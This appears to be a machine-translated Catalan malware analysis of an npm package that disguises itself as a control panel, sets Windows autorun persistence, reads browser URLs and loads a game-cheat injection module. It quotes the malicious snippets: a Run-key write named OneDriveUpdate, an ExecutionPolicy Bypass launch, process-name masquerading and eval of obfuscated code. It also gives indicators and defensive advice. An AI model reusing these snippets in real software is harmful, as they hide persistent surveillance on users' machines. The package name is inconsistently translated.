TL; DR
El paquet npm sensibilitat es descriu a si mateix com un "Tauler de control de sensibilitat". A Windows es comporta com una eina de control remot i vigilància.
El seu punt d'entrada, launcher.js, canvia el nom del seu propi procés a Runtime Broker, escriu un valor de clau d'execució d'inici automàtic anomenat OneDriveUpdate que rellança el paquet a través d'un VBScript ocult, genera PowerShell amb -ExecutionPolicy Bypass, i després avalua una càrrega útil de servidor ofuscada de 171 KB juntament amb un mòdul natiu de 6.87 MB, sens.node.
Serveix com a panell de control d'emparellament de telèfons al port TCP 3000 i llegeix l'URL de la barra d'adreces del navegador actiu a través de Windows UIAutomation, tot observant si hi ha un vídeo de YouTube codificat.
Dues parts que abans es llegien com a caixes negres ara estan resoltes. El servidor ofuscat, server.obf.js, utilitza un esquema de matriu de cadenes RC4 d'obfuscator.io; reimplementar el seu descodificador fora de línia (sense executar JavaScript) recupera un únic punt final extern — https://izopi.com/check.php — juntament amb una clau pública RSA integrada que s'utilitza per verificar les respostes de llicència signades.
El mòdul natiu, sens.node, no està empaquetat: la seva taula d'importació i les cadenes incrustades l'identifiquen com una superposició del joc DirectX 11 / Dear ImGui que proporciona funcions d'aimbot, ESP (wall-hack) i triggerbot, impulsades per injecció de processos remots i lectures/escriptures de memòria.
Les cadenes que hi ha dins fan referència a entitats de vehicles i ubicacions del mapa d'acord amb GTA V / FiveM. El paquet npm és l'embolcall de lliurament i persistència al voltant d'aquest mòdul natiu.
El senyal definitori és operatiu, no tècnic: un únic editor anònim va publicar aproximadament setanta versions d'un paquet — 2.5.0 a través de 2.5.69 — durant uns quants dies, cadascun portant el mateix llançador.
No hi ha instal·lacions hooksLa càrrega útil només s'executa quan s'inicia el paquet.
L'atac: com funciona
sensitivity distribueix deu fitxers. El package.json és dispers: no hi ha camp de repositori, no hi ha llicència, un àlies main i dos de bin (sensitivity, sens) tots apuntant a launcher.js, i un script d'inici del node launcher.js. No hi ha postinstal·lació ni preinstal·lació. No s'activa res a la instal·lació de npm. El comportament descrit a continuació s'executa quan un usuari inicia el paquet, mitjançant el shim de bin, l'script d'inici o un require.
El tarball conté el llançador, un servidor ofuscat, el mòdul natiu, un script de Visual Basic i un directori public/web per al tauler de control. launcher.js és l'orquestrador llegible; la lògica que importa en temps d'execució resideix en els dos blobs que carrega: un servidor ofuscat i un mòdul natiu compilat, tots dos resolts a continuació.
Emmascarament de processos i un actualitzador fals de OneDrive
Al principi de l'execució, launcher.js estableix el seu propi nom de procés dues vegades:
javascript process.title = 'Runtime Broker'; Runtime Broker és un procés legítim de Windows (RuntimeBroker.exe) que intervé en la gestió dels permisos de les aplicacions. Canviar el nom d'un procés de Node perquè coincideixi amb aquest nom significa que una ullada ràpida al Gestor de tasques no mostra res d'estrany.
La persistència s'escriu mitjançant PowerShell en lloc d'una API de registre directa:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); El valor d'inici automàtic s'anomena OneDriveUpdate i no apunta directament al paquet. Apunta a wscript.exe que executa el OneDrive.Standalone.Updater.vbs inclòs. Aquest script rellança el node launcher.js en una finestra oculta. Tant el nom de la clau d'execució com el nom del fitxer VBScript prenen la marca de Microsoft, de manera que l'entrada d'inici automàtic es llegeix com una tasca rutinària de OneDrive.
PowerShell amb bypass de polítiques d'execució
El llançador envia repetidament missatges a PowerShell. El servidor que els escàners marquen com a crític és l'inici d'un fitxer .ps1 generat amb la política d'execució desactivada:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); L'opció ExecutionPolicy Bypass elimina la comprovació de signatura de scripts locals per a aquesta invocació. Els scripts generats gestionen la vigilància del navegador i la tasca de detecció de finestres que es descriu a la secció següent.
El servidor ofuscat i el mòdul natiu
Després de la configuració, launcher.js carrega i executa la seva càrrega real:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js té 171 KB d'ofuscació de matrius _0x, el patró de JavaScript on cada cadena i identificador es substitueix per un índex en una matriu barrejada, i després es desreferencia en temps d'execució. L'esquema és la variant RC4 produïda per obfuscator.io: una única funció descodificadora descodifica en base64 una entrada de matriu i després la desxifra en RC4 amb una clau per crida. La reimplementació d'aquest descodificador en un script separat (executant només la reimplementació sobre la matriu de cadenes de 821 entrades extreta, mai el propi JavaScript del paquet) ho desenrotlla de manera neta. El que sembla és modest però decisive: una URL externa, https://izopi.com/check.php`, assignada a una constant LICENSE_URL; una RSA PUBLIC_KEY_PEM` incrustada; les rutes del panell local /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off i /trigger/status; i les cadenes child_process, crypto i [Sensitivity] sens.node carregades, sent l'última la línia de registre exacta que el llançador reescriu al mòdul de programa carregat. El punt final és una comprovació de llicència: el client publica un identificador (el servidor ofuscat formata una cadena Discord ID: %s) i la clau RSA verifica la resposta signada del servidor.
sens.node és un complement natiu compilat de 6.87 MB i no està empaquetat: l'entropia de la secció es troba a la versió 5.6–6.6 i les taules d'importació i exportació de PE estan intactes, de manera que les seves capacitats es poden llegir directament. Exporta napi_register_module_v1, el standard Punt d'entrada del node N-API, de manera que el servidor avaluat el carrega amb un requisit simple. La seva taula d'importació és el tell. De KERNEL32 extreu OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules i Process32First/NextW, el conjunt canònic per localitzar un altre procés, assignar-hi memòria i llegir o escriure aquesta memòria. De USER32 extreu GetAsyncKeyState, GetKeyState, mouse_event i SetCursorPos; enllaça d3d11.dll, D3DCOMPILER_43 i dwmapi per a una superposició en pantalla, i el conjunt complet de WINHTTP per a les crides de xarxa. Les cadenes incrustades anomenen el conjunt de funcions sense ambigüitat: Habilita Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected i el bàner Dear ImGui Dear ImGui 1.91.3 WIP. Les cadenes d'ubicació i entitat com ara Grapeseed Medical Clinic i el vocabulari vehicle-ESP són coherents amb GTA V / FiveM.
La divisió és deliberada en efecte: el fitxer launcher.js llegible només conté les parts que un escàner llegeix fàcilment (persistència, emmascarament, la crida eval en si), mentre que l'ofuscació amaga l'únic host extern, els contactes en temps d'execució, i el binari conté la superposició del joc i la lògica d'injecció de processos. El llançador és la closca fina i auditable; el servidor ofuscat amaga la identitat de la xarxa; el mòdul natiu és la càrrega útil. Descrivim les importacions i les cadenes del binari com a llegides; no en deduïm el propòsit de l'operador.
Un panell de control d'emparellament de telèfons al port 3000
El llançador gestiona un servidor web local al port TCP 3000 i el tracta com un singleton. Consulta un receptor existent i l'esborra abans de vincular-lo:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Es pot accedir al panell a http://localhost:3000, amb una URL de reserva LAN codificada de http://192.168.1.16:3000. El directori public/ i el comportament del panell són coherents amb un flux d'emparellament QR: un telèfon escaneja un codi i s'enllaça a l'amfitrió com a remot. No apareix cap domini extern de comandament i control en text clar al llançador, però, com mostra la desofuscació anterior, n'hi ha un de present al servidor ofuscat: el punt final de la llicència izopi.com. El panell en si és local i té un àmbit LAN; l'únic amfitrió de sortida és aquesta comprovació de llicència.
Un model de supervisor/treballador separat manté el procés actiu. El llançador reapareix amb els indicadors d'entorn SENSIVITY_SUPERVISOR i SENSIVITY_WORKER, i cada fill s'executa ocult, de manera que matar un procés deixa un watchdog per reiniciar-lo.
Vigilància del navegador i el senyal de YouTube
El comportament més específic és la supervisió del navegador. launcher.js compila PowerShell que fa que Windows UIAutomation llegeixi la barra d'adreces d'un navegador en execució:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern retorna el contingut de text d'un element de la interfície d'usuari. Aplicat al control d'edició de la barra d'adreces d'un navegador, retorna l'URL que la víctima està veient actualment, sense una extensió del navegador, sense tocar el perfil al disc i sense un ganxo d'API. L'script generat itera una llista $browserNames i extreu l'URL o el títol de la finestra del navegador que estigui en primer pla.
Aquesta URL es prova amb un únic objectiu codificat de manera fixa:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; El llançador fa una enquesta en un bucle de tres segons per a una finestra del navegador que mostri YouTube, i la PowerShell generada conté un parell Get-YouTubeBrowser / Test-TargetYouTubeUrl que coincideix amb aquest ID de vídeo. L'efecte observable és doble: l'URL de navegació activa es llegeix de la pantalla de la víctima i es detecta la interacció de l'amfitrió amb un vídeo específic de YouTube. Descrivim el mecanisme i l'objectiu; no en deduïm cap motiu.
La lectura de la barra d'adreces és el que l'escàner anomena sensitive_data_enumeration: una font Process::env i UIAutomation que alimenta un temps d'execució compatible amb xarxa. Té un aspecte benigne de manera aïllada i només es resol com a vigilància un cop es rastreja el cicle de vida de les dades des de la font UIAutomation fins al servidor ofuscat.
Evolució de la cronologia i la versió
La sensibilitat no és una càrrega puntual. El compte de l'editor té aproximadament setanta versions publicades d'aquest paquet únic, i en van arribar de noves durant el període de revisió. El llançador creix característica a característica al llarg de la línia 2.5.x mentre que la seva persistència i càrrega útil es mantenen fixes.
| Data (UTC) | Versions observades | Estat del llançador |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Llançador de panells QR base; persistència de la tecla d'execució; avaluació del servidor ofuscat. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Mateixa empremta digital; supressió de rastre de consola. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Afegeix un objectiu d'interacció de YouTube fixat wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Republicació per omplir buits a tota la gamma; organisme de control de supervisors/treballadors. |
La lectura del llançador entre els representants descarregats (2.5.0, 2.5.36 i 2.5.69) mostra quatre nivells. Les primeres compilacions porten el llançador bàsic d'aparellament de codis QR. A partir de la versió 2.5.33 apareix el recol·lector de barra d'adreces UIAutomation. A partir de la versió 2.5.58 s'afegeix una capa de gestió de supervisors. A partir de la versió 2.5.64, el watchdog separat del supervisor/treballador completa el conjunt. En tot moment, quatre coses no canvien mai: la clau d'execució de OneDriveUpdate, el dropper OneDrive.Standalone.Updater.vbs, el server.obf.js avaluat i el mòdul natiu sens.node.
L'onada del 2026-06-05 és notable perquè va tornar a publicar els números de versió baixos (de la 2.5.0 a la 2.5.15) que es troben per sota de les versions confirmades dies abans. L'efecte és una línia contigua de 2.5.x al registre, i cada versió porta el mateix llançador.
Indicadors de compromís
Tots els indicadors següents s'han llegit directament del fitxer tarball del paquet. El llançador llegible només porta bucle invertit i una única adreça LAN privada; l'únic nom d'amfitrió extern, izopi.com, s'ha recuperat desofuscant server.obf.js fora de línia.
| Tipus | Indicador | notes |
|---|---|---|
| paquet | npm:sensivity (≈70 versions, 2.5.0-2.5.69) | Editor d'un sol paquet; sense repositori; sense llicència. |
| Dossier | launcher.js | Orquestrador llegible; objectiu principal i bin. |
| Dossier | server.obf.js (≈171 KB) | Càrrega útil de matriu de cadenes RC4 d'obfuscator.io, carregada mitjançant eval(fs.readFileSync(...)). |
| Dossier | sens.node (≈6.87 MB) | Complement N-API del node PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Dossier | OneDrive.Standalone.Updater.vbs | Rellançador ocult (node launcher.js). |
| Xarxa | https://izopi.com/check.php | Punt final de llicència/autenticació recuperat del servidor ofuscat; la clau pública RSA integrada verifica les respostes. |
| Capacitat | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Injecció de processos remots i capacitat de lectura/escriptura a memòria. |
| Capacitat | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Superposició de joc DirectX 11 / ImGui que implementa les funcions d'aimbot, ESP i triggerbot. |
| Registre | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Valor d'inici automàtic que apunta a wscript.exe i el llançador de VBScript. |
| procés | process.title = 'Runtime Broker' | Es fa passar per un procés legítim de Windows Runtime Broker. |
| Comportamental | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Omissió de la política d'execució utilitzada per als scripts de PowerShell generats. |
| Comportamental | UIAutomation ValuePattern lectura de la barra d'adreces del navegador | Llegeix l'URL de la finestra del navegador en primer pla. |
| Comportamental | ID de vídeo de destinació wJWta2lO0LwEnquesta de YouTube de 3 segons | Senyal de monitorització d'acoblament fixat. |
| Xarxa | http://localhost:3000, alternativa http://192.168.1.16:3000 | Panell de control d'emparellament de codis QR exposat localment i a la LAN. |
| Mediambient | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Banderes de coordinació del procés de vigilància desconnectades. |
Atribució, Impacte i Defensors
El paquet està publicat per un únic compte npm, el correu electrònic indicat del qual és una adreça de Gmail no verificada. El compte té una puntuació de reputació de registre molt negativa, manté i publica només aquest paquet i no té cap repositori font vinculat. No hem verificat la propietat del correu electrònic i atribuïm la campanya al compte de l'editor, no a cap individu anomenat. El llançador no porta cap infraestructura de text sense xifrar, però l'únic amfitrió extern ja és conegut: el servidor ofuscat contacta amb izopi.com per a una comprovació de llicència, i el mòdul natiu (llegit de la seva taula i cadenes d'importació en lloc de llegir-lo instrucció per instrucció) és una superposició de joc que injecta i llegeix la memòria d'un altre procés.
L'impacte observable recau en els usuaris de Windows que instal·len i executen la sensibilitat esperant una utilitat del tauler de control. En aquests amfitrions, el paquet estableix una persistència d'inici automàtic disfressada de tasca del OneDrive, es canvia el nom per imitar un procés del sistema, llegeix l'URL del que l'usuari estigui navegant i crea un panell d'emparellament que vincula la màquina a un control remot a través de la xarxa local. El control del supervisor/treballador significa que una sola mort de procés no l'elimina; l'entrada de la clau Executar sobreviu als reinicis. macOS i Linux no són objectiu del llançador: les rutes de persistència, PowerShell i UIAutomation són només per a Windows.
La rotació de setanta versions és la tendència que val la pena denunciar. Tornar a publicar un paquet desenes de vegades en pocs dies, incloent-hi l'ompliment de números de versió per sota dels que ja s'han eliminat, manté una còpia activa al registre entre eliminacions i frustra les llistes de bloqueig fixades per versió. Una entrada de llista de bloqueig per a sensitivity@2.5.61 no fa res en contra de la republicació de sensitivity@2.5.3 l'endemà.
Els defensors poden actuar en el següent sentit:
- Bloqueja la sensibilitat del nom del paquet directament a les llistes de permesos del proxy del registre i de CI. Fixar versions individuals perd valor a la cadència de republicació; el nom és l'indicador de durabilitat.
- Cerca un valor d'execució anomenat OneDriveUpdate les dades del qual invoquin wscript.exe contra un .vbs en una ruta per usuari. L'actualitzador genuí de OneDrive no està registrat d'aquesta manera.
- Alerta sobre un procés Node.js el process.title del qual és Runtime Broker. El broker real és RuntimeBroker.exe, no un runtime de Node.
- Marca les recuperacions en temps d'instal·lació de npm de paquets que inclouen un complement .node compilat més un eval(fs.readFileSync(…)) d'un fitxer .obf.js germà. Aquest emparellament (binari natiu opac carregat al costat d'una càrrega útil de text ofuscada) és el tell estructural aquí, independent de qualsevol IOC de cadena.
- Tracta qualsevol escoltador amb enllaç local al port 3000 generat per un procés Node inesperat com a sospitós als punts finals de Windows gestionats.
- Bloqueja o alerta sobre sol·licituds sortints a izopi.com des d'amfitrions de desenvolupadors o usuaris finals; és l'únic punt final extern del paquet, accessible a /check.php des del servidor ofuscat.
- Per a qualsevol complement .node inclòs, inspeccioneu la seva taula d'importació abans de confiar-hi. La combinació OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread és una injecció de processos remots independentment del que digui que fa el paquet; aquí es troba al costat d'una superposició de Direct3D i cadenes aimbot/ESP/triggerbot.
Per a l'anàlisi estàtica pipelines, la forma de convicció és duradora al llarg de la rotació de versions: un perfil d'instal·lació que no és de xarxa, una assignació de títol de procés a un nom de procés de sistema conegut, una escriptura de clau d'execució mitjançant PowerShell i una avaluació d'un fitxer llegit del disc. Cap d'aquests depèn d'un domini, una IP o un número de versió que la propera republicació pugui eliminar.
referències
[npm: sensibilitat] – pàgina de registre per a la línia de versió del paquet que es discuteix aquí; subjecta a eliminació.





